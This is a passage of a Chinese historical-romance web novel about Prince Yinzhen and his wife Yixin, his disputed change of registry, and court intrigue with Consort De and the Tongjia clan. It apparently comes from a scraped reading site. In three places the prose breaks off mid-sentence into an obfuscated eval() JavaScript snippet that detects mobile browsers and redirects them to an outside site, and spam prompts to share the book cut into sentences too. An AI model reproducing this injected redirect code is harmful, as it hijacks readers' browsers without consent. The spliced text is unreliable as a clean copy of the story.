她不知道他的阴暗面,她不知道他诚孝阿玛、友善兄弟背后是多么刻薄寡恩和心狠手辣。 他和她没有孩子,没有彻头彻尾聊过理想抱负,没有牵着她的手到他的阴影里看一看。 “王爷,您有何吩咐?”夏刈从角落里钻出来。 “没有,本王在这里站一会。” 胤禛长身玉立,明明是人间五月,他觉得他呼出的气还是凝成了寒雾,朦胧了他深邃的眉眼。 仪欣将信递给晴云,晴云把信装到信封里用蜡封好。 她坐得脊背发麻,起身伸个懒腰,踉跄一下后腰撞到椅背上。 “嘶——” 胤禛进来便听到她的痛呼声,“怎么了?又磕到哪里了?” “腰撞了一下。”仪欣揉了揉后腰。 胤禛蹙眉检查她的腰肢,没什么大事,就是马马虎虎又磕碰到了,“这里疼不疼?” “一会儿就不疼了。”仪欣憨笑两声,满不在意挽上他的手臂,嗅了嗅他身上好闻的气息。 “走吧,回去给你擦药。”胤禛无奈看着她。 “王爷,我想要背着回寝殿。”仪欣小声说。 “哦?咱俩谁背着谁?”胤禛挑眉。 仪欣茫然抬头看他,谁背着谁?这是怎么问出来的? 胤禛闷闷笑出声来,弯腰半蹲着,“好了好了,快上来吧。” 仪欣哼哧哼哧爬上他宽阔的后背,眯着眼睛将脑袋搭到他的肩膀上,还亲了亲他的耳朵,“王爷,驾!” “惯坏你了。”胤禛轻哼,背着她阔步往正院走。 晴云替仪欣提着小橘灯,静谧的夜里有仪欣轻轻的说话声,她何时何地都想跟他说话。 “王爷,我从小就知道自己身体不太协调,好像一岁半才学会走路。” “是吗?”胤禛温声应和她。 “对啊,而且,我那时候很容易就摔倒,然后跳舞也学不会,莫名其妙就会磕碰一下。” “嗯。”胤禛喉结轻滚,往上托了托她的屁股。 他也发现了,她练字时手腕不容易控制力气,平日里扔个砚台都砸不中人,一会儿看不见保不齐就有点小磕小碰。 “王爷,我练字的时候真的认真了。” “本王知道。”胤禛偏了偏头,仪欣亲亲他的侧脸。 “读书的时候也认真了。”仪欣亲亲他的侧脸。 “嗯,知道。”胤禛温声应和她。 “那个屏风,我不是故意推倒的,就是我差点摔倒,结果扶住了屏风。”仪欣小声解释。 胤禛闷闷笑,“嗯,知道,你没有摔倒就是最好的。” “王爷,我有点害怕。” 仪欣东一句西一句说了很多话,才扯到正题,其实今天看到姚虞姐姐和八爷的种种,知道姚虞姐姐想离开的念头,她有点茫然。 在她的印象里,八爷和八福晋是有过如胶似漆的时期的,那是她第一次见到他们,八爷温文尔雅,姚虞姐姐明媚绝艳,她对于般配二字的感受是那么直观,也有点向往吧。 可是姚虞今日跟她静静开口:“人是会变的。” 她算是眼睁睁看着两个人渐行渐远,竟然有些唇亡齿寒的战栗,她不想变,她就想这样。 “怎么了?怕什么?”胤禛眉头紧皱,弯腰将她在背上放下来,“来,本王抱着你。” 看不见她的脸,她东一句西一句说话,他不知道她在想什么。 “王爷,你会觉得我是很笨的吗?会不喜欢我读书差身体弱吗?”仪欣一股脑扎在他的颈窝里。 胤禛垂眸凝视着她颤抖的睫毛,联想到她今日见姚虞和老八的事情,几乎刹那便读懂了她情绪低落的原因。 “仪欣很好,仪欣万般好,仪欣万万般好。” 胤禛阔步走了两步,抱着她甩开后面跟着伺候的随从,低声叮嘱道,“我爱你,爱你的所有,爱你的每一面,爱你每个幼稚的瞬间。” “好了,他们怎么样是他们的事,不许问别的了,让本王缓一会儿。” 爱她的愚蠢,接受她的顽劣,向世人隐藏她不够聪明的马脚,然后对每个人说,她就是最乖的小孩。 胤禛温柔弯唇笑,又带些不易察觉的紧张青涩,感觉到她在怀里雀跃的挣扎,他扛着她大步回到正院。 对胤禛来说,说一次爱,得缓好几天。 可是,他也是爱里的笨拙者,他在某一天后知后觉才发现,今日他安抚她的话,其实可以回答他早已掩藏的忧虑—— 能不能爱他,连同爱他那一抔薄情冷血的枯魂。 … 永和宫。 康熙来到德妃宫里安寝。 改玉碟之事,胤禛得了准话,只将消息递给了富察氏。 德妃本来还欣喜于康熙亲临,温婉柔情伺候着,用过晚膳,两个人又一同说了几句话。 德妃已经习惯了在康熙面前顺口夸赞老十四,替他谋得多一点关注,可今日这话在康熙耳中听来格外异样。 怪不得胤禛委屈成那样。 康熙坐在床榻上,“孝懿的忌日快到了吧。” 德妃心里一沉,万岁爷提她做什么? 她最痛恨的便是孝懿皇后刚去世的那两年,她是孝懿皇后宫里出来的,万岁爷来她的宫中十有八九就是拉着她一同缅怀孝懿皇后。 如今过了这么多年,难不成万岁爷又来了这样的兴致? 德妃温婉道:“是啊,孝懿姐姐去了快十五年了。” “嗯,十年一次修改玉牒,朕打算年末将胤禛记在孝懿的名下,你觉得怎么样?”康熙眸色漆黑观察着德妃的反应。 德妃瞪大了眼睛,折膝跪下了。 “皇上,不要啊,皇上,胤禛是臣妾身上掉下来的肉啊,皇上。” 康熙不语,手中的书卷一下下拍打膝盖。 “皇上,臣妾亦能体味孝懿皇后无子之憾,可是,生胤禛时,臣妾初为额娘,已经体会过一次母子分离的痛苦了,皇上您不要让臣妾经受第二次了,好不好?”德妃说着说着,潸然泪下。 康熙亦有触动。 第110章佟佳氏的试探 德妃见康熙态度松动,又楚楚可怜提起早夭的几个孩子,只说身边只有胤禛和胤禵承欢膝下。 德妃比任何人都清楚,她在后宫的体面,大部分都是位列亲王的胤禛为她挣来的。 她如今这个身份地位,若是还将胤禛记在了一个死人的名下,如同当时没名没分那般,那她在前朝后宫就成了天大的笑话。 “皇上,臣妾为皇上诞下六个皇嗣,只留下了老四和老十四,皇上,臣妾不能再失去他们了。” 康熙思忖片刻,只说容他再想想。 他要送老十四去川陕带兵,危险重重,若是老四再记在孝懿名下,确实也有些刻薄了。 * 朝堂上老八孜孜不倦还债,太子咬下去老八仍旧不解气,直接跟康熙斗得有来有回。 无他,太子就是觉得年枝之事就是康熙在使绊子,否则他派去乾清宫正常问询太医的人,如何会折得一干二净? 他们忙着,胤禛反而心安理得做起了闲人,空闲时间都用来教仪欣读书写字。 姚虞转移嫁妆,在奉天置办私产,胤禛不但没有阻拦,反而默不作声替她遮掩,还把手头上一个极好的私宅低价卖给了她。 成亲后,仪欣的小桌案离他越来越近,从一开始隔着屏风,到如今紧紧挨着他的桌案。 胤禛皱眉轻啧,拿起一支毛笔,用笔杆抬了抬她的脑袋,“练字时,脑袋别这么低。” 仪欣扔下笔,哐唧一下趴到小桌案上,委屈道:“我脑袋不低的话,写的字就不漂亮,不漂亮王爷又要罚我重写,根本不行。” “重写也算是罚吗?本王幼时读书练字,哪里有差错,先生都是要罚抄一百二十遍的,那时候动辄抄到半夜三更。” “一百二十遍?”仪欣瞪圆了眼,笑眯眯义气地一拍胸脯道,“王爷可太辛苦了,若是我那时候在就好了,我就替王爷全抄完!” “哦?用你小狗爬的字替本王全抄完吗?然后本王就可以不用去尚书房了。”胤禛毫不留情轻笑。 什么? 仪欣噌得站起来,扭头就走,“王爷,你…!” 小狗爬,小狗爬。 她才不是小狗爬! 如果她到王爷幼时练字罚抄的时候,她非要把王爷写完的罚抄塞到狗窝里。 胤禛连忙上前拉她的手腕,仪欣熟练甩开闷头往前冲,他忍俊不禁,“回来,回来继续写吧。” “不写,写了也是小狗爬!”仪欣猛猛往外冲。 “不是,不是,仪欣写得越来越好了。” 胤禛拦腰薅住她,怀中人力气大得跟小猪崽似的,打横抱起还会鲤鱼打挺。 苏培盛匆忙进来,低头道:“王爷,永和宫传来消息了。” 仪欣霎时老实下来,娇气吁吁睨一眼胤禛,伸手示意苏培盛递过来。 苏培盛没有犹豫,将信函放在仪欣的手心,恭敬退下。 仪欣软声询问:“永和宫的消息?我可以看吗?” 王爷怎么会收到永和宫的消息? “自然可以。”胤禛点点头,趁机将人牢牢抱在怀里,亲了亲她的发顶。 他早已猜到了信函的内容。 仪欣挑开信封,展开信纸扫了两眼,惊呼道:“什么?额娘阻拦王爷改玉牒,皇阿玛态度摇摆不定,可是皇阿玛不是答应了吗?” “人之常情罢了。”胤禛低头,嗅了嗅她的气息。 他从来都不指望自己靠撒娇卖乖能达到目的,他想要的东西,每一寸都是他自己讨来的。 “什么人之常情,明明是出尔反尔!”仪欣不愉快冷哼,扭头亲了亲胤禛的唇角,无声又黏黏糊糊安抚他。 胤禛缓缓弯唇:“没关系,不着急。” “王爷,你想改玉牒吗?” “仪欣想吗?”胤禛挑眉。 “想!”仪欣当即回答,德妃和老十四明明就是不把王爷当家人,那王爷也不需要他们,“王爷,我见过你给孝懿皇后抄的佛经,很多很多。” “那本王也想。” 胤禛唇角蹭一下她的眼睑,默默将写满小狗爬的字的宣纸藏到暗格里。 … 胤禛照常进宫侍膳,下朝后,偶尔陪伴康熙下棋,一句不提该玉牒之事。 佟佳氏似乎是在哪里得了风声,向雍亲王府递拜帖。 因着孝懿皇后的缘故,胤禛一直尊称隆科多为舅舅,以晚辈礼往来。 仪欣并不知道隆科多下注自家王爷,却也明白在这个紧要关头,佟佳氏的拜访绝对是一件重要的事情。 仪欣穿着一身橘红色旗装,一耳戴三钳,佩戴名贵圆润东珠头面,脚踩花盆底,端庄沉稳得缓步到了前院花厅。 “妾身给雍亲王福晋请安。”花厅内三名女子一齐起身抚髻行礼。 隆科多行三,此次来人便是隆科多的嫡妻赫舍里氏和她的两名妯娌。 “各位福晋快快免礼。”仪欣弯唇亲切笑。 晴云及两名丫鬟为三位福晋换上新茶。 仪欣未出嫁前不常出府,但自小在钮祜禄氏身边耳濡目染,为人处世很是妥帖,跟三位妇人闲谈亲近而不露怯。 赫舍里氏性格略显庸懦,如今隆科多在朝堂得力,按理说她身份最高,此时却隐隐约约以佟佳氏二房的福晋西林觉罗氏为主。 西林觉罗氏抿唇笑:“妾身也是沾光,这样好的茶,只在雍亲王府喝到过。” 仪欣颇为得意弯唇,娇憨道,“夫人带些回去,本福晋确实有很多。” 西林觉罗氏和赫舍里氏对视一眼。 赫舍里氏轻声示意随侍丫鬟将带来的见面礼送给仪欣。 看着三名丫鬟的托盘中呈上的礼物,一个平平无奇的香囊,一味名贵异常的药材,还有满满一盒银票,仪欣本来扬起的唇角渐渐落下,换上不悦的弧度。 什么佟佳氏,明明就是在试探她的态度,送的什么乱七八糟的礼物? 四爷清正廉洁,铁面无私,怎么收大臣的银票?若是收香囊又降了身份。 西林觉罗氏主动开口:“哎呦,福晋,四爷自幼和佟佳氏一族亲近,佟佳氏待四爷尽是一番爱护晚辈之心,此番礼物,均是母族贴补晚辈的心。” 这是把佟佳氏摆在母族的身份,拉近关系倒在其次,主要也是想试探一下雍亲王福晋的性情。 第111章哄睡。 晴云蹙眉,俯身轻唤:“福晋……” 仪欣抬抬手腕,眉眼弯弯笑出声来:“本福晋和王爷都分的清谁是帮扶雍亲王府的人。” 赫舍里氏轻声笑着应和:“是。” 西林觉罗氏静静等待仪欣的下文。 仪欣轻轻叹口气,撩起眼皮,慵懒道,“金银不足贵,真正贵重的是佟佳氏一族的心意。” “本福晋便收下这珍贵的安神药材吧,皇阿玛夙兴夜寐,宵衣旰食处理朝政,王爷诚孝,这药材借花献佛送给皇阿玛再好不过,本福晋身为臣媳,代皇阿玛收下了药材。” 仪欣微微偏头,示意晴云,笑着说,“前阵子皇阿玛赏了许多雪顶含翠,晴云为三位福晋包上一斤,以物换物,想必皇阿玛和佟佳氏都十分欣然吧。” 三位福晋面面相觑,余光轻轻落在上首珠光宝气明艳娇憨的人儿脸上。 实在不敢想这话是个刚及笄的姑娘说出来的,滴水不漏,不愧是富察氏和钮祜禄氏教养出来的女儿。 王爷诚孝,皇阿玛勤政,佟佳氏献药有功,皇阿玛体恤臣下,佟佳氏还要承了恩情,乱七八糟的礼物四两拨千斤拒绝。 雍亲王福晋一直病弱,极少在京中露面,只知富察氏和钮祜禄氏都对这个病弱缠身的格格娇生惯养异常宠溺。 佟佳氏才起了试探的心思。 真是… 听说,雍亲王对福晋也是极好,只不过佟佳氏打听不到个般细节,她们也估摸不准“极好”是多好。 端看这华服和太子妃才能佩戴的东珠头面,这雍亲王福晋富察氏不止得雍亲王爱重,更是得万岁爷看重。 佟佳氏的女儿沾不到好处。 “是,妾身等多谢福晋赏。” 仪欣握着腕间佛珠捻了捻,见她们行礼才弯了弯眼睛,漫不经心饮一口茶。 若没有改玉牒之事,佟佳氏整这一套,她就砸了这些礼物,连带她们也一起扔出去。 … 胤禛有些疲惫,在书房和谋士议事后,沉声开口:“夏刈。” “奴才在。”夏刈的声音从窗外传来,转眼就到了书房内室。 胤禛淡淡抬眸,随手将腕间佛珠扔到夏刈面前,夏刈凝视佛珠,心头一紧,赶忙跪下。 “你这个粘 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 杆处首领还想不想当了?”胤禛扯唇反问。 “奴才该死。”夏刈将头伏在地上。 “本王确实想宰了你 “粘杆处出了叛徒了明白吗?” 隆科多怎么知道改玉牒之事的八字没一撇的事都能递到他面前反过来试探仪欣。 “奴才明白。” “奴才这就去查王爷再给奴才一个机会。” 胤禛面沉如水冷淡眉眼如寒冬冰雪他不叫起端坐在桌案前翻看户部誊抄的卷宗任由夏刈跪着清醒清醒。 人间五月夏刈的汗珠一滴滴落在地上手掌扶着地面有些粘糊的潮湿。 跪了三刻钟夏刈已经开始有些哆嗦他的身体尚可只是胤禛威压太甚外加上他精神紧绷一直在复盘粘杆处的事熬得受不住。 这时仪欣来接胤禛回正院的声音宛如天籁。 “起来。” 胤禛淡淡吩咐转而缓和面色离开书房牵起仪欣的手。 睡前。 仪欣裹着被衾盘腿坐在床榻上叽叽喳喳跟胤禛分享今日之事胤禛没有把消极情绪带到她面前来反而夸奖她应对得宜做事落落大方仪欣可高兴了。 仪欣娇憨双手托着自己的脸毛茸茸的脑袋软乎乎拱他的腰。 胤禛无奈笑着拍一下她的屁股“又闹人。” “王爷想听话本子。”仪欣黏糊糊撒娇。 “过来躺好了。”胤禛张开胳膊示意她躺过来闭着眼睛回忆一下上次给她讲到哪里了。 仪欣慢吞吞躺到他的手臂上胳膊缠上他的手臂还是觉得想贴紧一些所以直接趴到胤禛身上脑袋垂在他的颈窝里“好了这样王爷可以讲了。” 胤禛偏头便可以亲到她的脑袋也觉得这样极好胳膊搭在她的腰上另一只手轻轻拍她的后背。 他还未开口唇上便贴过来一个软乎乎的东西一下下啄吻他。 胤禛慢慢弯唇闭着眼感受她的亲近。 仪欣轻舔着他的唇瓣乌润润的眼睛看到他垂落的长睫胤禛叩门般慢慢回应她。 她亲够 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16254285|182040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了嘴巴脑袋便低下去轻蹭着吮 听说看这本书的人都是很幸运的,分享后你的运气会更棒 吸他的脖颈。 “嘶——不行,明日要入宫。” “不是,明天明明是沐休!”仪欣抬起脑袋,眼巴巴控诉他,“王爷故意不让我咬,对不对?” “不对,明天真的有事需要入宫。”胤禛轻哄她,一只手压下她抬着的小脑瓜,喉结轻滚,嗓音暗哑低沉,“小乖,咬得靠下一点。” “好。”仪欣蹭了蹭,欣然在他的胸膛上胡作非为。 胤禛连动也不敢动,就紧紧搂着她的腰肢,胸膛起伏,呼出的气息已经有些重了。 真是太黏人了。 偏偏身子又弱,腰还这么细。 趴在他身上轻得跟小猫一样。 “嘶——” “王爷,是不是咬疼了?”仪欣贴心地小声问。 “你别磨牙。”胤禛无奈道,咬就咬,冷不丁就在他胸膛上咬着磨牙。 “王爷,我忍不住嘛。” “那随便咬吧。”胤禛呼吸极重,压不住情欲,眼眸微红,作壁上观一般承接怀中小兽带来的独特疼痛感。 再高傲的灵魂都会被爱击碎。 仪欣周身暖融融的,趴在他的胸膛上,像是泡在温泉里,王爷是比药浴更好的疗养品。 她咬得有些累,自己埋在胸膛晕乎乎的,困倦涌上眼角眉梢,她偏过脑袋枕得舒服一些,小声吩咐,“王爷,可以继续讲话本子了。” 胤禛气笑捻了捻指腹,想拍一巴掌她的屁股,黏人一通,又想着听话本子了。 他是个男人。 “王爷…” “嗯,给你讲。”胤禛喉结滚动,一只手隐晦又粗鲁蹭了蹭下面,便不再去管。 胤禛记性极好,她的话本子,他几乎都能复述出来。 今夜,不行。 等到她亲够了,伏在自己的胸膛,胤禛眯着眼睛,回忆了一会儿,发现脑海中没剩几句话了。 正当他想着不妨给她临时编一段话本时,胸膛处凌乱的寝衣间已经是平稳轻缓的呼吸。 她最听话,最让人省心,不用哄就可以自己睡觉。 第112章胤禛的回礼 第二日,胤禛没有心慈手软,转手给隆科多回敬了一份大礼。 ——隆科多连同佟佳氏一族****的证据。 隆科多看着莫名其妙出现在床头的账册,手颤抖一下,翻看间更是惊愕万分。 胤禛遒劲的字迹落在账册最后一页。 “隆科多舅舅,本王不是黄口小儿,若是再行试探之事,这账册便会出现在皇阿玛御案之上。 隆科多如鲠在喉。 “来人,来人。 “老爷,您有什么吩咐。 “昨夜可曾有人进入内室?隆科多沉声问。 小厮纳闷:“不,不曾,奴才给您守夜,不曾有人来过。 隆科多将账册藏在身后,“跟二房那边商量一下,将三格格嫁出去,越快越好,越远越好。 … 入宫,胤禛没有去乾清宫,反而直接到永和宫给德妃请安。 德妃温柔笑着看向胤禛,“老四,怎么今日有空过来? 胤禛背着手立在殿内,薄唇轻启,吩咐道,“都出去,本王跟额娘有话要说。 殿内侍奉的丫鬟闻言恭敬离开,只有德妃的贴身丫鬟还站在德妃身后。 德妃蹙眉,过继之事,胤禛求到她面前,她都不会放手。 “怎么了?她和缓问。 胤禛没有管那个小丫鬟,温和笑一下,“额娘跟皇阿玛自请改了儿子的玉牒吧,别让儿子动手。 德妃攥紧茶盏,不再伪装,斥骂一句:“老四,你这是不孝!本宫不会同意的。 胤禛垂眸弯了弯唇角,“额娘,老十四不日便要外放川陕,额娘晚去一日,儿子便剁掉老十四一根手指头,额娘晚去一旬,儿子便拆了老十四一条腿。 德妃如遭雷劈,当即站起身来,“混账,你…你怎么敢?你这是要谋害兄弟啊。 “嗯。胤禛笑意稍敛,稍加思索后同意她的说法。 德妃神色慌张,捂着心口握住身侧丫鬟的手,硬撑道:“老四,你在开玩笑对不对?你幼时,额娘是无可奈何,后来你十一岁回到额娘身边,老十四太年幼,额娘确实偏疼他一些,这也是人之常情,等你…等你有了自己的孩子,你会理解额娘的。 胤禛笑了笑, 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 垂眸看到腰间的平安符。 “儿子不需要有孩子便知道疼爱一个人,就会无所不用其极对她好,所以,儿子理解额娘。 德妃说不出话来,那些她的无心之言和自以为瞒过胤禛的事情,重新晾在日光下,她开始掉眼泪,悔恨地看着胤禛。 胤禛温和道:“额娘,儿子下手没轻没重,老十四的事情,您可以赌一把儿子有没有这个本事。 说罢,胤禛转身便要离开。 “不,不要,本宫去说。德妃失态喊出声来。 胤禛垂眸笑笑,“额娘和皇额娘姐妹情深,昨夜皇额娘好像给额娘托梦了吧?您不忍皇额娘无后,忍痛割爱,愿将儿子记在皇额娘名下。 又是荷花盛开时节,胤禛身上紫色**袍在阳光下泛着粼粼金光,他不疾不徐往乾清宫走。 “哎呦,王爷,您来了。小泉子迎上来,“万岁爷在书房等您呢! 康熙见到挺拔俊美的儿子阔步走进来,慈爱笑了笑,“免礼吧,沐休还要进宫来陪朕,你有心了。 胤禛垂了垂眼,撩袍跪在康熙面前,委屈巴巴开口:“阿玛,您是不想要儿子了吗? 康熙吹胡子瞪眼:“胡说什么? “儿臣不想改玉牒了,也不用皇阿玛在儿臣和额娘之间为难,但请辞去亲王之位,免生诸多是非。 康熙面沉如水,拽着胤禛的胳膊要把他拉起来。 胤禛被他拽的一个踉跄,反而膝行跪远一些,低着头一言不发。 “你又在闹什么?康熙沉声呵斥,真不让人省心,他只是说暂缓玉牒修改之事,面前这个便一哭二闹。 胤禛最是乖巧懂事,何时跟太子一样,让他诸多为难! “儿子要去京郊别院种田,求阿玛成全。 康熙怒道:“你知不知道自己在说什么?你是亲王!朕疼爱你,看重你,你却闹出这不成器的样子,跟朕耍小性子! 胤禛垂了垂眼,苦叹一声,仰头看着康熙,半晌闷葫芦似的说出一个“嗯字。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16254286|182040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “这可是你说的!康熙踹了胤禛一脚。 “嗯。 “滚,亲王爵位暂且留着,你不用上朝了,这玉牒,你别求着朕来改!康熙指了指书房门,“出去,不必来上朝了。 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 胤禛行大礼,退出书房,愉悦在宫里搅和一顿,他轻笑拂衣离去。 康熙怒极,踹倒一把椅子,他确实有反悔的心思,当日的话不过是深夜性情所至,脱口而出,老四身为人子,不能理解阿玛,反倒跟他闹脾气,说出辞位种田的话来。 去吧,种田去吧。 种田这么好,世人何至于向上汲汲钻营? 胤禛最好不要求着他改玉牒。 罢了,他也算对德妃有个交代了。 “他走了?”康熙别扭冷哼。 梁九功苦笑:“四爷离开了,只道让奴才好好伺候万岁爷。” 康熙一拍桌案,怒喝道:“他就嘴上说的好听,说什么不让朕为难,他怎么不自己回来伺候朕?” 梁九功赶紧示意上茶,败败火吧,万岁爷,除了四爷,谁还几年如一日侍奉您呦! 角落里一个不起眼的小太监开口。 “万岁爷,昨日佟佳氏到雍亲王府上拜访,怕是听得改玉牒的风声了。” “谁传出去的?”康熙胸膛起伏不定,若是玉牒之事传出风声,他却迟迟不下旨意,老四是不是里外不是人吗? 荒唐,荒唐。 罢了,先紧着德妃和老十四带兵一事,年羹尧不能留。 老四先委屈些时日。 康熙刚决定不给胤禛改玉牒,下午便收到永和宫送到御前的糕点,心照不宣,晚上摆驾永和宫。 入夜。 德妃自以为善解人意楚楚可怜说出“不忍孝懿姐姐无后”“昨夜孝懿姐姐托梦”这些托词。 本想着再最后借胤禛搏一把康熙的好感,谁知抬头便见到康熙阴鸷恼怒的脸。 德妃扯了扯嘴角:“万岁爷…臣妾…愿意将胤禛记在孝懿皇后名下。” 康熙坐在床榻上,俯身掐住她的下巴:“你在耍朕?还是拿胤禛不当回事?” 第113章走喽~别庄种田去喽~ 她想把胤禛送到哪里去就送到哪里去吗? 他今日刚因为她和老十四委屈了胤禛她如今又说愿意? 她前些时日那些肺腑之言全都是装模作样! “臣妾没有。”德妃无助摇头“臣妾没有。” 她能怎么办?她甚至想过把今天老四威胁她的话原原本本告知万岁爷。 可是老四向来温和友善万岁爷怎么可能相信?保不齐还会怀疑是她蓄意诋毁而且若是惹怒老四老十四就危险了。 万岁爷这是什么意思? 难道不觉得她善解人意吗? 康熙掐上德妃的脖颈威仪的气息压迫着她“你个蠢妇朕该庆幸你没有养过胤禛。” “万岁爷…” “你放心过了这段日子他便不是你的儿子了。” … 之后的几日胤禛称病没有上朝。 康熙一直气不顺乾清宫山雨欲来伺候的人和朝臣大气不敢喘连**折子都少有递到御案前的。 他不可能跟老四认错刚说着不为他改玉牒如今德妃那个蠢妇又出尔反尔装出一副贤良淑德的模样。 这样想着康熙更是恨极了德妃。 康熙等了几日都不曾等到胤禛来乾清宫侍膳更不要说上朝了。 父子二人就这样别扭了起来。 其实是康熙单方面闹别扭。 胤禛赋闲在府中日日陪仪欣读书写字姚虞在奉天开设酥阁仪欣配合她掩人耳目便着手在曲阜设立酥阁广兴施善之事。 晚间两个人会牵着手去买八大街的板栗和红薯然后在春意楼一同用晚膳满满当当打包一堆小点心。 仪欣很喜欢出门府中缺副碗筷都恨不能亲自去买。 胤禛也纵着她 出门后十有**会偶遇她的阿玛或者兄长有时会得到她喜欢的小玩意或者额娘做的小点心有时会和家人一同用膳。 成亲以后她好似没有离开家反倒独占了王爷。 仪欣觉得成亲是自由的她幼时没有体会过的自由叮叮咚咚涌向她。 某日夜里。 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 仪欣睡着觉便觉得像是荡在秋千上,一会儿这里摇一摇,一会儿又细细碎碎晃一晃。 她懵懵然睁开眼,发现自己正窝在宽敞的马车里,怕是做梦,她又揉了揉眼睛,撩开窗帘看到天上璀璨的星子。 胤禛看着她可爱的模样,闷闷笑出声来。 “王爷,深更半夜,咱们要去哪啊?” “府中账上有些紧缺,本王打算将仪欣卖了补贴家用。”胤禛忍着笑意淡淡开口。 仪欣大惊,坐起来扑到他怀里,“王爷,等等等等,先别卖,我有很多银两!” 她睡得懵,脑袋转得慢,等过一会胤禛斜倚着马车壁都笑开了,她才反应过来,什么卖她,她做梦都不可能梦到这种荒唐事! 仪欣羞恼娇嗔瞪他一眼,把两条腿搭在胤禛腿上,一晃一晃的。 “王爷才舍不得卖我呢,卖了我谁伺候王爷用膳?谁帮王爷掌管中馈?谁把香甜的烤红薯分享给王爷?谁给王爷暖被窝?是谁!王爷你快说!” “是你是你,”胤禛闷闷笑着把人搂到怀里,感慨道:“原来仪欣在府**劳这么大。” “对呀对呀。”仪欣赶紧认真点头。 老天爷,吓她一跳,大半夜不睡觉,叽叽咕咕把她薅到马车上做什么,好似真要卖了她似的。 胤禛替她捋了捋额间碎发,又裹紧她的被衾。 “王爷,咱们去哪里呀?” “去京城别院。” “哇——我喜欢去京城别院玩!”仪欣惊叹一声。 “那去种地呢?”胤禛亲亲她的脑袋,反问道。 仪欣兴奋摩拳擦掌:“我也喜欢陪王爷种地!我们种马铃薯!种小番茄!种麦子!” 胤禛温柔看着她兴奋的小脸,抬起她的脑袋吻上她的唇,亲得仪欣气喘吁吁,他轻笑:“仪欣是本王的捧场王吗?” 她娇娇气气的,最是不爱吃苦,可是若有他喜欢的事,她总会忙前忙后陪着他做。 “是!”仪欣美滋滋晃了晃脑袋。 “路上闲来无事,再亲一会儿。”胤禛呼吸重了,单膝跪在马车上,双臂揽着她的腰,让她坐得稳妥。 仪欣吐气如兰,小脸带着娇憨的酡红,她的眼睛是天生的浅琥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16254287|182040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 珀色,像是一汪纯净的清泉,她低头啄吻他 听说看这本书的人都是很幸运的,分享后你的运气会更棒 的唇瓣。 有些人看似被动实则主动,有些人看似主动,实则亲一会儿便晕乎乎找不到北了。 “王爷,我要掉下去了。”仪欣挣扎两下。 胤禛无奈掐着她的后颈,“睁眼睛,睁眼睛就不会掉下去了。” 仪欣睁开眼,看到面前男人,眼睛微微发亮,胤禛唇角绯红,眉梢挂着诱人的情欲,仿佛邪肆妖艳的虞美人。 胤禛坐直身子,把她的脑袋轻轻按在自己的肩膀上,将手掌摊在她的面前,霎时便有一个肉乎乎的小拳头搭在他的掌心,胤禛弯唇握住。 “王爷,你真漂亮。”仪欣挠挠他的手心。 “大抵是因为仪欣不经常照铜镜吧。”胤禛轻笑。 “嘿嘿嘿,我知道自己也很漂亮。”仪欣拱了拱他的下巴。 胤禛看她一眼,她就是很漂亮。 “马车上有你额娘晚间送来的糕点,还有蜂蜜水,如果还是困,就躺着继续睡觉。” “额娘又给我做点心了吗?我要吃。”仪欣惊喜道。 胤禛打开马车暗格,给她把准备好的零食捧盒拿出来,放到马车的小桌案上。 仪欣隔着帕子捏起一块桃花酥,高兴得吃起来,“我前天刚和额娘说想吃桃花酥,我感觉额娘做得小点心最好吃,我都吃不惯旁的了。” “嗯。”胤禛温声问,“冷不冷?” “不冷。” 吃了两块点心,胤禛默不作声将她的零食捧盒收起来,喂她喝一点温水。 仪欣本来就没睡醒,在胤禛膝头蜷缩一下,又昏昏欲睡。 马车外是蝉鸣几许,混着咕噜咕噜的马车轮的声音,胤禛随意拍着仪欣的脊背,独自闭目养神。 他实在浅眠,有些细碎的声响便不能安枕;她却相反,只要是她的被衾暖烘烘的,无论多大动静,她都能睡得很好。 她和他仿佛天生契合,病弱的她需要浅眠的爱人,而他,他需要富察仪欣。 “王爷,太子殿下在前面…想见王爷。”苏培盛隔着马车帘低声提醒道。 第114章太子** “请太子殿下过来吧。”胤禛拧眉低声道。 “老四,这真撂挑子不干了?”太子一身黑衣**袍骑在高头骏马上,吊儿郎当问。 胤禛稍稍捂住仪欣的耳朵,轻声道:“这个时辰,太子殿下怎么来了?” 太子翻身下马,随意倚在马车壁上,“孤在自己的别院闲来无事,打听打听你跟皇阿玛闹什么呢?” 胤禛无言。 “嗯?”太子敲了敲马车壁。 